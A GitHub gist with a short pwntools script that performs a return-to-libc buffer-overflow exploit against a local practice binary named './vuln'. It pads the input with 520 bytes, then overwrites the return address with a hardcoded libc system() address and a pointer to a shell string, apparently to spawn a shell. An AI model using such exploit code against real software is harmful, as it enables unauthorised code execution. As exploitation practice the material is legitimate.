Last active
August 29, 2015 14:22
-
-
Save shankaraman/41e918932ee5d0b79ae6 to your computer and use it in GitHub Desktop.
Return to libc - Binjitsu
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from pwn import * | |
| p = process('./vuln') | |
| libc = ELF('/lib/i386-linux-gnu/libc.so.6') | |
| junk = 'A'*520 | |
| libc_sys = 0xb7e63170 | |
| retrn = 0xdeadbeef | |
| shell = 0xbffffd5f | |
| payload = junk+p32(libc_sys)+p32(retrn)+p32(shell) | |
| print payload | |
| p.send(payload) | |
| p.recvline() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment